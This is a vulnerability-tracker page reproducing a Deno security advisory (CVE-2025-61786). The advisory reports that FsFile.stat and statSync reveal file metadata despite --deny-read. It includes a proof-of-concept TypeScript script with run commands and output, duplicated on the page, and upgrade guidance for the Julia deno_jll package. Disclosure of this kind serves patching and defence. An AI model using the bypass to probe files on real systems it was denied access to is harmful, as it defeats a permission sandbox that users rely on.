Track vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
3.3
Deno allows unauthorized access to file stats even with restricted permissions
published 6 months ago
Summary
Deno's Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync methods can reveal file information to scripts that don't have permission to read the file. This can happen even if you've restricted the script's access to the file using the --deny-read option. To protect your files, make sure to use the allow-read option or avoid using these methods when permissions are restricted.
What to do
- Update juliabinarywrappers deno_jll to version 2.6.3+0.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| Julia | juliabinarywrappers | deno_jll |
< 2.6.3+0 Fix: upgrade to 2.6.3+0
|
Original advisory text
Deno's --deny-read check does not prevent permission bypass
### Summary
`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`)
Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
### PoC
Setup:
```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test1.txt
```
- `poc_file.stat.ts`
```ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
```
Output:
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`
```
PermissionStatus { state: "denied", onchange: null }
true
```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`
```
PermissionStatus { state: "denied", onchange: null }
true
```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`
```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`
```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
```
### Impact
Permission model bypass
`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`)
Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
### PoC
Setup:
```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test1.txt
```
- `poc_file.stat.ts`
```ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
```
Output:
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`
```
PermissionStatus { state: "denied", onchange: null }
true
```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`
```
PermissionStatus { state: "denied", onchange: null }
true
```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`
```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`
```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
```
### Impact
Permission model bypass
References
- https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec URL
- https://github.com/denoland/deno/pull/30876 URL
- https://github.com/denoland/deno/releases/tag/v2.2.15 URL
- https://github.com/denoland/deno/releases/tag/v2.5.3 URL
- https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9 URL
- https://nvd.nist.gov/vuln/detail/CVE-2025-61786 URL
- https://github.com/advisories/GHSA-qq26-84mh-26j9 URL
Internet-facing
60 days
Internal
At next upgrade
- Not known to be exploited
- Needs hands-on effort to exploit (estimated)
- Gives an attacker partial control (estimated)
Timeline
Published14 Apr 2026
Updated14 Apr 2026
First seen14 Apr 2026
Sources
JLSEC-2026-112 · OSV
Track software like this
Free during beta